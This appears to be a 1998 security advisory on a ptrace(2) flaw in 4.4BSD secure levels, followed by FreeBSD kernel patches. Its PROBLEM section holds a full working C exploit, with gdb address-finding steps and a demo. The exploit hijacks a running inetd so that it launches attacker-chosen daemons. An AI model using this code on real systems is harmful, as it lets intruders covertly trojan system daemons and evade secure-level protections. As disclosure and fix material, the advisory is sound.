COMMAND

    secure levels

SYSTEMS AFFECTED

    4.4BSD Secure Levels Implementation (BSD/OS, FreeBSD, NetBSD, OpenBSD)

PROBLEM

    Niall Smart  found following.   4.4BSD introduced  the concept  of
    "secure  levels"   which  are   intended  to   allow  the   system
    administrator  to  protect  the  kernel  and  system  files   from
    modification by intruders.  When  the system is running in  secure
    mode file  flags can  be used  to indicate  that anyone,  even the
    superuser,  should  be  prevented  from  deleting or modifying the
    file, or that  write access should  be restricted to  append-only.
    In addition  device files  such as  /dev/kmem and  those for  disk
    devices are only  available for read  access.  This  protection is
    not intended to prevent system compromise, but instead is a damage
    limitation measure -- by preventing intruders who have compromised
    the root account from deleting  logs of the intrusion or  planting
    "trojan horses" their ability to hide their presence on the system
    or  covertly   gather  sensitive   information  is   reduced.    A
    vulnerability has been  discovered in all  current implementations
    of secure  levels which  allow an  intruder to  modify the  memory
    image  of  running  processes,  thereby  bypassing  the protection
    applied to  system binaries  and their  configuration files.   The
    vulnerability  cannot  be  exploited  to  modify the init process,
    kernel memory or the protected files themselves.

    The ptrace(2) system call can  be used to modify the  memory image
    of another process.  It  is typically used by debuggers  and other
    similar utilities.  Due to inadequate checking, it is possible  to
    use ptrace(2) to modify the  memory image of processes which  have
    been loaded from  a file which  has the immutable  flags set.   As
    mentioned,  this  does  not  apply  to  the  init  process.   This
    vulnerability  is  significant  in  that  it allows an intruder to
    covertly modify running  processes.  The  correct behaviour is  to
    make the address space of these processes immutable.  Although  an
    intruder can still kill them and start others in their place,  the
    death of  system daemons  will (should)  draw attention  on secure
    systems.  Here comes the exploit.

    There are  a variety  of daemons  which an  intruder would wish to
    trojan, inetd being  one of the  most obvious.   Once the intruder
    controls inetd, any network  logins handled by daemons  started by
    inetd are  completely under  the control  of the  intruder.  Other
    important daemons which  are likely to  be attacked include  sshd,
    crond, syslogd, and getty.  Here's present sample code which shows
    how to use ptrace(2) to attach to and control a running inetd  and
    so  that  it  starts  daemons  which  we  choose  instead of those
    specified in inetd.conf.  For the sake of explanation we will  use
    the FreeBSD version of inetd compiled with debugging symbols.   If
    you look at the inetd source you will see that it uses an array of
    struct  servtab  which  represents   the  services  specified   in
    inetd.conf.  The se_server member of struct servtab specifies  the
    path to the server which  handles requests for the service.   When
    inetd accepts  a new  connection it  searches this  array for  the
    appropriate entry, stores a pointer  to the entry in the  variable
    sep and then forks, the  child then fiddles with file  descriptors
    and execs the server.   The fork happens on  line 490 of  inetd.c,
    we insert  a breakpoint  at this  instruction and  when we  hit it
    modify  the  se_server  member  of  the  struct  servtab which sep
    points to.   We then insert  another breakpoint later  in the code
    which only the parent process  will execute and continue, when  we
    hit that breakpoint we change  the se_server back to what  it was.
    Meanwhile,  the  child  process  continues  and  executes whatever
    server we have told it to.

        # gdb --quiet ./inetd
        (gdb) list 489,491
        489                                 }
        490                                 pid = fork();
        491                         }
        (gdb) break 490
        Breakpoint 2 at 0x1f76: file inetd.c, line 490.
        (gdb) p &sep
        Address requested for identifier "sep" which is in a register.
        (gdb) p sep
        $1 = (struct servtab *) 0x1
        (gdb) info reg
        eax            0x0      0
        ecx            0xefbfda50       -272639408
        edx            0x2008bf48       537444168
        ebx            0xefbfda90       -272639344
        esp            0xefbfd968       0xefbfd968
        ebp            0xefbfda68       0xefbfda68
        esi            0x1      1
        edi            0x0      0
        eip            0x1914   0x1914
        eflags         0x246    582
        cs             0x1f     31
        ss             0x27     39
        ds             0x27     39
        es             0x27     39
        (gdb)

    So,  the  first  breakpoint  address  is  at  0x1F76,  and the sep
    variable has been placed in the register %esi which makes  writing
    the exploit  a bit  easier.   After the  fork we  want to stop the
    parent  process  only,  inserting  a  breakpoint  at line 502 will
    achieve that:

        (gdb) list 501,503
        501                         if (pid)
        502                             addchild(sep, pid);
        503                         sigsetmask(0L);
        (gdb) break 502
        Breakpoint 1 at 0x1fc8: file inetd.c, line 502.

    Line 502 corresponds  to the instruction  at 0x1FC8.   Finally, we
    will  need  some  unused  memory  to  write  in the string for our
    replacement daemon,   for this  we can  simply overwrite  the code
    that performs the option processing:

        (gdb) break 325
        Breakpoint 2 at 0x1a9a: file inetd.c, line 325.

    We take  64 bytes  from 0x1A9A.   Here is  the exploit,  the first
    three arguments specify the  first and second breakpoints  and the
    address of the spare memory and  the last is the pid of  the inetd
    to attach  to. [  Note to  script kiddies:  you need  root on  the
    system first ]

    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <machine/reg.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <signal.h>
    #include <errno.h>
    #include <unistd.h>

    #if defined(__FreeBSD__)
    #define SE_SERVER_OFF 44
    #elsif defined(__OpenBSD__)
    #define SE_SERVER_OFF 48
    #endif

    #define INSN_TRAP       0xCC

    #define ARRSIZE(x)      (sizeof(x) / sizeof((x)[0]))

    #define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)

    void sig_handler(int unused);

    sig_atomic_t    finish = 0;
    int             pid;


    int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
    {
            int     ret = ptrace(req, pid, addr, data);

            if (ret < 0 && errno != 0) {
                    fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
                    exit(EXIT_FAILURE);
            }

            /* this shouldn't be necessary */

            #ifdef __FreeBSD__
            if (req == PT_DETACH)
                    kill(pid, SIGCONT);
            #endif

            return ret;
    }


    void
    sig_handler(int unused)
    {
            /* we send the child a hopelessly harmful signal to break outselves
             * out of ptrace */

            finish = 1;
            kill(pid, SIGINFO);
    }


    struct replace {
            char*   old;
            char*   new;
    };


    int
    main(int argc, char** argv)
    {
            struct reg      regs;
            int             insn;
            int             svinsn;
            caddr_t         breakaddr;
            caddr_t         oldaddr;
            caddr_t         spareaddr;
            caddr_t         addr;
            caddr_t         nextaddr;
            caddr_t         contaddr;
            char            buf[64];
            char*           ptr;
            struct replace* rep;
            struct replace  replace[] = { { "/bin/cat",   "/bin/echo" } };

            if (argc != 5) {
                    fprintf(stderr, "usage: %s <breakaddr> <nextaddr> <spareaddr> <pid>\n", argv[0]);
                    exit(EXIT_FAILURE);
            }

            breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
            nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
            spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
            pid = atoi(argv[4]);

            signal(SIGINT, sig_handler);
            signal(SIGTERM, sig_handler);
            signal(SIGQUIT, sig_handler);

            /*
             * attach her up
             */
            Ptrace(PT_ATTACH, pid, 0, 0);
            wait(0);

            Ptrace(PT_GETREGS, pid, ®s, 0);

            printf("%%esp = %#x\n", regs.r_esp);
            printf("%%ebp = %#x\n", regs.r_ebp);
            printf("%%eip = %#x\n", regs.r_eip);

            contaddr = (caddr_t) 1;

            while (1) {

                    /*
                     * replace the lowest byte of the dw at the specified address
                     * with a breakpoint insn
                     */
                    svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
                    insn = (svinsn & ~0xFF) | INSN_TRAP;
                    Ptrace(PT_WRITE_D, pid, breakaddr, insn);

                    printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);

                    /* continue till we hit the breakpoint */

                    Ptrace(PT_CONTINUE, pid, contaddr, 0);

                    do {
                            /* FreeBSD reports signals twice, it shouldn't do that */

                            int             sig;
                            int             status;

                            wait(&status);

                            sig = WSTOPSIG(status);

                            printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);

                            if (finish)
                                    goto detach;

                            if (sig == SIGTRAP)
                                    break;

                            Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));

                    } while(1);

                    Ptrace(PT_GETREGS, pid, ®s, 0);
                    printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);

                    /* copy out the pathname of the daemon it's trying to run */

                    oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);

                    for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
                            *(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);

                    printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);

                    /* check if we want to substitute our own */

                    for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
                            if (!strcmp(rep->old, buf)) {
                                    printf("%s ==> %s\n", rep->old, rep->new);
                                    break;
                            }

                    /* copy the substitute pathname to some unused location */

                    if (rep != 0) {
                            strcpy(buf, rep->new);
                            for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
                                    Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);

                            Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
                    }

                    /*
                     * replace the original instruction, set a breakpoint on the next
                     * instruction we want to break in and then reset the daemon path,
                     * and remove the last breakpoint.  We could just single step over
                     * the for syscall but all the crap involved in calling a fn in a
                     * dll makes it easier to just to set a breakpoint on the next
                     * instruction and wait till we hit that
                     */

                    Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);

                    svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
                    insn = (svinsn & ~0xFF) | INSN_TRAP;
                    Ptrace(PT_WRITE_D, pid, nextaddr, insn);

                    Ptrace(PT_CONTINUE, pid, breakaddr, 0);
                    wait(0);

                    Ptrace(PT_GETREGS, pid, ®s, 0);
                    printf("stepped instruction to %#x\n", regs.r_eip);

                    Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
                    contaddr = nextaddr;

                    /* put back the original path */
                    if (rep != 0)
                            Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);

            }

    detach:
            printf("detaching\n");
            Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
            Ptrace(PT_DETACH, pid, 1, 0);

            return 0;
    }

    So, lets try it out:

        # cat inetd.conf
        afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
        # telnet localhost 7000
        Trying 127.0.0.1...
        Connected to localhost
        Escape character is '^]'.
        afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
        Connection closed by foreign host.
        # ps -aux | grep inetd
        root    1233  0.0  0.9   204  556  ??  SXs  11:41AM    0:00.02 ./inetd /root/inetd.conf
        # ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
        [1] 1267
        # telnet localhost 7000
        Trying 127.0.0.1...
        Connected to localhost
        Escape character is '^]'.
        /root/inetd.conf
        Connection closed by foreign host.
        #

SOLUTION

    OpenBSD  patched  this  problem.   The  following patches apply to
    FreeBSD-current  and  will  apply  to  FreeBSD-stable  with   some
    tweaking of the line numbers.

    --- kern/sys_process.c  Mon Jun  8 11:47:03 1998
    +++ kern/sys_process.c  Mon Jun  8 11:49:53 1998
    @@ -37,6 +37,7 @@
     #include <sys/proc.h>
     #include <sys/vnode.h>
     #include <sys/ptrace.h>
    +#include <sys/stat.h>

     #include <machine/reg.h>
     #include <vm/vm.h>
    @@ -208,6 +209,7 @@
            struct proc *p;
            struct iovec iov;
            struct uio uio;
    +       struct vattr va;
            int error = 0;
            int write;
            int s;
    @@ -246,6 +248,11 @@
                    /* can't trace init when securelevel > 0 */
                    if (securelevel > 0 && p->p_pid == 1)
                            return EPERM;
    +
    +               if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
    +                       return(error);
    +               if(va.va_flags & (IMMUTABLE|NOUNLINK))
    +                       return(EPERM);

                    /* OK */
                    break;

    --- kern/kern_exec.c    Sun Jun  7 17:23:14 1998
    +++ kern/kern_exec.c    Tue Jun  9 14:08:10 1998
    @@ -655,6 +655,8 @@
            error = VOP_GETATTR(vp, attr, p->p_ucred, p);
            if (error)
                    return (error);
    +       if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
    +               return (EACCES);

            /*
             * 1) Check if file execution is disabled for the filesystem that this
    --- miscfs/procfs/procfs_vnops.c        Tue May 19 09:15:00 1998
    +++ miscfs/procfs/procfs_vnops.c        Wed Jun 10 16:23:33 1998
    @@ -129,6 +129,8 @@
     {
            struct pfsnode *pfs = VTOPFS(ap->a_vp);
            struct proc *p1, *p2;
    +       int error;
    +       struct vattr va;

            p2 = PFIND(pfs->pfs_pid);
            if (p2 == NULL)
    @@ -144,6 +146,12 @@
                    if (!CHECKIO(p1, p2) &&
                        !procfs_kmemaccess(p1))
                            return (EPERM);
    +
    +               error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
    +               if(error)
    +                       return(error);
    +               if(va.va_flags & IMMUTABLE)
    +                       return(EPERM);

                    if (ap->a_mode & FWRITE)
                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);

    Darren Reed posted  his patch.   Rather than block  out all ptrace
    access to processes, maybe it  is more appropriate to protect  all
    processes on  a system  where securelevel  > 0  - irrespective  of
    whether or  not it's  init or  immutable -  from operations  which
    could `change' it if it is an immutable executeable.  Below is his
    "better" patch  - allows  ptrace to  be used  in read-only mode on
    immutable processes (or  init) where the  system is running  where
    securelevel > 0.

    *** sys_process.c.orig  Sun Jun 14 01:17:14 1998
    --- sys_process.c       Sun Jun 14 01:39:15 1998
    ***************
    *** 37,42 ****
    --- 37,43 ----
      #include <sys/proc.h>
      #include <sys/vnode.h>
      #include <sys/ptrace.h>
    + #include <sys/stat.h>
      #include <sys/errno.h>
      #include <sys/queue.h>

    ***************
    *** 243,248 ****
    --- 244,253 ----
                    if (p->p_flag & P_TRACED)
                            return EBUSY;

    +               /* Tracing a system process doesn't work anyway */
    +               if (p->p_flag & P_SYSTEM)
    +                       return EINVAL;
    +
                    /* not owned by you, has done setuid (unless you're root) */
                    if ((p->p_cred->p_ruid != curp->p_cred->p_ruid) ||
                         (p->p_flag & P_SUGID)) {
    ***************
    *** 250,268 ****
                                    return error;
                    }

    -               /* can't trace init when securelevel > 0 */
    -               if (securelevel > 0 && p->p_pid == 1)
    -                       return EPERM;
    -
                    /* OK */
                    break;

    -       case PT_READ_I:
    -       case PT_READ_D:
    -       case PT_READ_U:
            case PT_WRITE_I:
            case PT_WRITE_D:
            case PT_WRITE_U:
            case PT_CONTINUE:
            case PT_KILL:
            case PT_STEP:
    --- 255,284 ----
                                    return error;
                    }

                    /* OK */
                    break;

            case PT_WRITE_I:
            case PT_WRITE_D:
            case PT_WRITE_U:
    + #ifdef PT_SETREGS
    +       case PT_SETREGS:
    + #endif
    + #ifdef PT_SETFPREGS
    +       case PT_SETFPREGS:
    + #endif
    +               if ((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
    +                       return error;
    +               /*
    +                * disallow changes to immutable executeables running in a
    +                * `secure' kernel environment.
    +                */
    +               if ((securelevel > 0) &&
    +                   ((va.va_flags & (IMMUTABLE|NOUNLINK)) || (p->p_pid == 1)))
    +                       return EPERM;
    +       case PT_READ_I:
    +       case PT_READ_D:
    +       case PT_READ_U:
            case PT_CONTINUE:
            case PT_KILL:
            case PT_STEP:
    ***************
    *** 270,283 ****
      #ifdef PT_GETREGS
            case PT_GETREGS:
      #endif
    - #ifdef PT_SETREGS
    -       case PT_SETREGS:
    - #endif
      #ifdef PT_GETFPREGS
            case PT_GETFPREGS:
    - #endif
    - #ifdef PT_SETFPREGS
    -       case PT_SETFPREGS:
      #endif
                    /* not being traced... */
                    if ((p->p_flag & P_TRACED) == 0)
    --- 286,293 ----
    *** procfs_vnops.c.orig Sun Jun 14 01:25:29 1998
    --- procfs_vnops.c      Sun Jun 14 01:27:54 1998
    ***************
    *** 121,126 ****
    --- 121,128 ----
      {
            struct pfsnode *pfs = VTOPFS(ap->a_vp);
            struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid);
    +       int error;
    +       struct vattr va;

            if (p2 == NULL)
                    return ENOENT;
    ***************
    *** 135,144 ****
                        (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
                            return EPERM;

    !
    !               if (ap->a_mode & FWRITE)
                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
    !
                    return (0);

            default:
    --- 137,150 ----
                        (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
                            return EPERM;

    !               error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
    !               if (error)
    !                       return error;
    !               if (ap->a_mode & FWRITE) {
    !                       if (va.va_flags & IMMUTABLE)
    !                               return EPERM;
                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
    !               }
                    return (0);

            default: